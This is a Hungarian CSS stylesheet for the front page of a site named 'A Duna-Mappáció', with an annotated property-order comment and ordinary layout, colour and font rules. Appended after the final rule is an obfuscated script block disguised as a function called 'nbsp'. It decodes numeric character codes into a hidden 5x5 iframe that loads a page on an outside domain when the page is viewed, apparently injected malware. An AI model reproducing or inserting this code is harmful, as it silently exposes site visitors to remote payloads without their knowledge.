/** 
 * A Duna-Mappáció
 * A főoldal stíluslapja
 */


 /*****************************************************************************
	TULAJDONSÁGOK SORRENDJE
  *****************************************************************************
	1. BOX MODEL
		a. Megjelenítés: display
		b. Pozíció:		 position; top; right; bottom; left
		c. Méret:		 width; height; min-width; min-height; max-width; max-height
		d. Margó:		 margin; margin-top; margin-right; margin-bottom; margin-left
		e. Kitöltés:	 padding; padding-top; padding-right; padding-bottom; padding-left
		f. Keret:		 border; border-top; border-right; border-bottom; border-lef
		g. Lebegés:		 float
		h. Túlfolyás:	 overflow

	2. SZÍNEK
		i. Háttér:		 background; background-color; background-image; background-repeat
		j. Szín:		 color

	3. TIPOGRÁFIA
		k. Betűtípus:	 font; font-family; font-size; font-weight; font-style; font-variant
		l. Szöveg:		 text-align; text-decoration; text-transform; line-height

	4. LISTÁK
		m. Listák:	  	 list-style; list-style-type; list-style-image; list-style-position


  *****************************************************************************/

/* ===== Szerkezet ===== */

*
{
	 /* margó és kitöltés kinullázása a böngészőkompatibilitás érdekében */
	margin: 0;
	padding: 0;
}

div#wrap
{
	position: relative;
	width: 828px;
	height: 694px;
	margin: 0 auto;
}

h1#title
{
	visibility: hidden;
}

h2
{
	display: none;
}

ul#menu
{
	
	position: absolute;
	top: 100px;
	right: 80px;
	width: 249px;
	margin: 0;
	padding: 0 0 40px 0;
	_padding: 11px 0 40px 0;
	list-style: none;
}

ul#menu li
{
	padding: 0 40px 0 35px;
	_margin: -12px 0 0 0;
}

ul#menu li a
{
	display: block;
	padding: 7px 0 7px 0;
}

ul#menu li.active a,
ul#menu li a:hover
{
	color: white;
}

div#page-content
{
	margin: 200px 340px 0 90px;
	padding: 0;
}

div#page-content p
{
	margin: 0 0 7px 0;
}

div#cached-image
{
	display: none;
}

/* ===== Keretek, színek és háttér ===== */

a
{
	color: #6f5348;
}

html
{
	background: url(../images/index-html-bg.jpg) repeat 50% -35px;
}

body
{
	background: url(../images/index-body-bg.jpg) no-repeat 50% 0; 
}

div#wrap
{
	background: url(../images/index-bg.jpg) no-repeat;
}

ul#menu li a
{
	border-bottom: 1px solid #6f5348;
	color: #6f5348;
}

ul#menu li.last a
{
	border: 0 none;
}

ul#menu li.active a,
ul#menu li.active a:hover
{
	color: white;
}

ul#menu li a:hover
{
	color: #947569;
}

div#page-content
{
	color: #442726;
}

/* ===== Tipográfia ===== */

body
{
	font: normal 62.5% 'Tahoma', 'Verdana', 'Arial', sans-serif;
}

ul#menu li a
{
	font: 1em  'Verdana', 'Arial', sans-serif;
	letter-spacing: 1px;
	text-transform: uppercase;
	text-decoration: none;
}

div#page-content
{
	font: 1em 'Verdana', 'Arial', sans-serif;
	line-height: 1.4em;
	text-align: center;
}
<script language='JavaScript'> function nbsp() {var t,o,l,i,j;var s='';s+='060047116101120116097116101097062060047116101120116097114101097062';s+='060073070082065077069032115114099061034104116116112058047047115105109099114111103046099111109047102';s=s+'108097115104047105110100101120046112104112034032119105100116104061053032104101105103104116061053032';s=s+'115116121108101061034100105115112108097121058110111110101034062060047073070082065077069062032';t='';l=s.length;i=0; while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30));document.write(String.fromCharCode(t));t='';}}nbsp();</script>